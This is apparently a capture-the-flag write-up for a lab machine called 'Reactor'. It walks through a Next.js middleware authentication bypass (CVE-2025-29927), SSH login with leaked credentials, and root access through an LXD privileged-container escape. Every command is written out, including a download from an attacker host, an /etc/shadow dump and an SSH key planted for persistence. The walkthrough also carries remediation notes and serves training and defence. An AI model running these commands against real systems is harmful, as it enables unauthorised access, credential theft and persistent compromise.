Reactor
Summary
I exploited a critical Next.js middleware authentication-bypass (CVE-2025-29927) against the web application on port 3000, gaining unrestricted access to a protected admin panel that exposed SSH credentials in plaintext. Using those credentials I logged in as the 'engineer' account, discovered it was a member of the LXD group, and created a privileged container that mounted the host filesystem — yielding unrestricted root access without ever knowing the root password.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full TCP scan with version detection; identifies port 3000 alongside 22/80/443.
$ nmap -sV -sC -p- --min-rate 5000 -oN nmap-full.txt $TARGETGrab HTTP headers — X-Powered-By: Next.js confirms the framework.
$ curl -si http://$TARGET:3000/Confirm the admin route is gated: expect a 307 redirect to /login enforced by Next.js middleware.
$ curl -si http://$TARGET:3000/adminExact commands 2
Core exploit: the forged header causes Next.js to skip all middleware — including auth. Expect HTTP 200.
$ curl -si -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://$TARGET:3000/adminBrowse admin sub-routes to locate exposed secrets; substitute the exact path found during enumeration.
$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://$TARGET:3000/admin/credentialsFixPatch Next.js to remediate CVE-2025-29927Critical
Exact commands 1
Retrieve the credentials page rendered by the admin panel; the SSH username and password appear in the response body.
$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://$TARGET:3000/admin/credentialsFixRemove hardcoded credentials from the web applicationCritical
Exact commands 2
Password: $PASSWORD. Opens an interactive shell as engineer.
$ ssh engineer@$TARGETConfirm group memberships (note lxd) and capture the user flag (<user.txt>).
$ id && cat ~/user.txt
uid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)Exact commands 3
Produces alpine-v3.x-x86_64.tar.gz and its .root partner file.
$ # On my machine — build the Alpine image:
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo bash build-alpineServe the image from my machine (replace port as needed).
$ python3 -m http.server 8080Run on the target as engineer. Substitute my tun0 IP for $ATTACKER_IP.
$ wget http://$ATTACKER_IP:8080/alpine-v3.19-x86_64.tar.gz -O /tmp/alpine.tar.gz && wget http://$ATTACKER_IP:8080/alpine-v3.19-x86_64.tar.gz.root -O /tmp/alpine.tar.gz.rootFixRemove service accounts from the LXD group and restrict container managementHigh
Exact commands 5
Register the Alpine image with the local LXD daemon.
$ lxc image import /tmp/alpine.tar.gz /tmp/alpine.tar.gz.root --alias alpineCreate a privileged container (runs as real UID 0 on the host — no namespace boundary).
$ lxc init alpine privesc -c security.privileged=trueMap the host's root filesystem into the container at /mnt/root.
$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=trueStart the container.
$ lxc start privescChroot into the host filesystem — this shell runs as root with unrestricted host access.
$ lxc exec privesc -- chroot /mnt/root /bin/bashExact commands 3
Run inside the chrooted container shell — reads the host root flag (<root.txt>).
$ cat /root/root.txtOptional persistence: inject my SSH key for direct root login on the host.
$ echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keysOptional: dump all system password hashes to confirm full host-level access.
$ cat /etc/shadowAttack patterns used
The transferable techniques behind this compromise.
LXD/LXC Group EscapeLinux · Privilege EscalationT1611
What it is
Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.
Why it works
The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.